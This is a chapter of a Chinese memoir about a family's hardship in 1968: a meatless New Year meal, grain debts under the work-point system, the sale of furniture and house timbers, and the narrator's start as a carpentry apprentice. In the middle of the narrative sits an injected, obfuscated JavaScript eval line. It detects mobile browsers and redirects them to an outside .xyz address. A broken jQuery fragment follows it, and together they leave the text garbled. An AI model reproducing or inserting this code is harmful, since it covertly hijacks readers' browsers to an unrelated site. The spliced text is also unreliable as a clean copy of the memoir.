第四章  酸甜苦辣都尝尽的那些年


    一


    1968年的除夕那天，天还没亮，父亲和母亲已经做好了年饭。


    “起床啦！吃年饭啦！”父亲在堂屋里大声喊道。


    我，二弟、三弟四弟，听到父亲的喊声，都急忙从北厢房里的床上爬起来。


    母亲抱着半岁多的小妹妹，牵着四岁多的大妹妹，从南厢房出来了。


    二弟从麻城中馆驿回来过年了，爷爷奶奶没有回。


    我们那个地方过年的风俗与其他地方有点不同，别的地方大多是中午更多的是晚上吃年饭，而我们这个地方的年饭是一大早吃，而且还要比谁家的年饭吃得早，年饭吃得早的人家这一年会平安得福。


    全家都来到堂屋时，桌子上已经摆好了父亲做的年饭。十几大碗菜，全是胡萝卜、白萝卜和豆腐做的，里面都没有肉。


    只有一个大碗里有一条鱼，但这条鱼是不能吃的，叫“看鱼”，就是只能看不能吃，直到年过完了，正月十五以后才能吃。


    怎么过年还吃不上肉呢？因为我家是村里最大的缺粮户。


    什么是缺粮户呢？


    当年村里是按工分吃粮，工分多，分的粮食就多，工分少，分的粮食就少。


    我们家人多，当时八口人，只有一个半劳动力，父亲算一个，每天可挣10个工分，母亲算半个，每天挣4.5个工分。


    年终小队里结帐，把工分折算成钱，10个工分大约两角钱，再用这个钱抵买粮食的钱。


    虽然我们家分的粮食很少，但我父母挣工分结算的钱还是抵不了分的粮食的钱，一年下来，总要欠小队里不少钱，于是就成了缺粮户。


    当时是按月分粮，每到分粮食的时候，缺粮户要先交“缺粮款”才能分到粮食，交不齐就“停秤”。


    为了交“缺粮款”分到粮食，我父亲卖掉了屋子里所有能卖的东西。


    先是卖家具，如柜子箱子之类，我母亲陪嫁的两个大木箱都卖了。


    然后是卖房梁，我家堂屋里本来是有楼的，支撑这个楼有六根大木材，都卖完了，楼也没有了。


    吃饭的桌子和几个板凳是不能卖的，留下来了。


    有一年，也是到快过年的时候了，我家因交不齐“缺粮款”被“停秤”，没分到粮食。


    大雪天，我母亲挑着养育了我们兄弟姐妹七人的摇篮和枷椅沿村叫卖，最后卖给了我的同学古文广家。


    为此，我母亲哭了好几天，后来，直到八十多岁，一提起这事，我母亲都会流泪。


    还有一年，又要交“缺粮款”，又要交我和我和弟妹们的学费，父亲到外地找亲戚借钱去了，母亲料定父亲借不到钱，就把北边的一间房子拆了。


    把能卖钱的木材和瓦都卖了，屋顶换上了竹子和稻草。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915227|160265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为什么年饭桌上连一点肉都没有？我家的肉票、布票、油票都换钱交“缺粮款”了。


    年饭桌上，父亲谈起我失学回家以后的出路。以后就在家里种田吗？


    母亲说，荒年饿不死手艺人，不如学一门手艺。


    正好，那位从武汉某建筑公司下放的木工师傅“赌博爹”（因为他特制爱赌博，村里人都叫他“赌博佬”）回家过年了，他当时在襄阳市做木工活。


    我们村有个规矩，吃完年饭后，会挨家挨户祝贺新年。


    吃完年饭，父亲就带着我挨家挨户祝贺新年。


    到了“赌博爹”家，他家刚吃完年饭，父亲就趁这个机会和“赌博爹”谈起了我的事。


    “赌博爹”是很喜欢我的，他之所以喜欢我是有个由来的。


    那是在夏天乘凉的时候，他打了个谜语给村里的孩子们猜。


    那谜语是：


    “左边不出头，右边不出头。说是不出头，就是不出头。”


    村里其他的孩子都猜不出来，我一下子就猜出来了，是个“林”字。


    他就夸我聪明，从此就很喜欢我。


    父亲请“赌博爹”收我做徒弟，没想到“赌博爹”很爽快地就答应了。


    他说，年后他去和他一起做工的师傅们商量一下，商量好了，就通知我去襄阳学木匠。


    我也愿意学木匠，总比在家种田好。